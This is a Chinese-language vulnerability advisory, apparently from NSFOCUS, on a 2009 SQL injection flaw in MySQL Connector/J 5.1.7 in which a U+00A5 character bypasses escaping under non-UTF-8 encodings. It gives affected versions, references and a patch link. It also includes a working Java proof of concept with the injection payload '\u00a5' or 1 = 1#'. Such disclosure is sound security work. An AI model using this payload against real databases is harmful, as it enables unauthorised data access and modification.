安全研究

安全漏洞
MySQL Connector/J Unicode字符串SQL注入漏洞

发布日期:2009-07-16
更新日期:2009-07-30

受影响系统:
MySQL AB MySQL Connector/J 5.1.7
不受影响系统:
MySQL AB MySQL Connector/J 5.1.8
描述:
BUGTRAQ  ID: 35858

MySQL Connector/J是MySQL数据库的官方JDBC驱动。

如果远程攻击者在对MySQL Connector/J所提交的查询字符串中包含有U+00A5 unicode字符串,且使用的字符编码方式不是UTF-8,就可以执行SQL注入攻击,修改数据库中的内容。

<*来源:Sadao Hiratsuka
  
  链接:http://secunia.com/advisories/35995/
        http://bugs.mysql.com/bug.php?id=41730
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

- sample data
mysql> select empno, ename from emp;
+-------+--------+
| empno | ename  |
+-------+--------+
|  7369 | smith  |
|  7499 | allen  |
|  7521 | ward   |
|  7566 | jones  |
|  7654 | martin |
|  7698 | blake  |
|  7782 | clark  |
|  7788 | scott  |
|  7839 | king   |
|  7844 | turner |
|  7876 | adams  |
|  7900 | james  |
|  7902 | ford   |
|  7934 | miller |
+-------+--------+
14 rows in set (0.00 sec)

- sample code
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;

public class InjectionTest {
    public static void main(String[] args) {
        try {
            Class.forName("com.mysql.jdbc.Driver");
            Connection conn =
DriverManager.getConnection("jdbc:mysql://localhost/scott?characterEncoding=Windows-31J",
                    "scott", "tiger");
            PreparedStatement pstmt = conn.prepareStatement("select empno from emp where ename =
?");
            pstmt.setString(1, "\u00a5' or 1 = 1#");

            ResultSet rs = pstmt.executeQuery();
            while (rs.next()) {
                System.out.println(rs.getInt(1));
            }

            rs.close();
            pstmt.close();
            conn.close();

        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (SQLException e) {
            e.printStackTrace();
        }
    }
}

建议:
厂商补丁:

MySQL AB
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://bugs.mysql.com/file.php?id=11374

浏览次数:5553
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障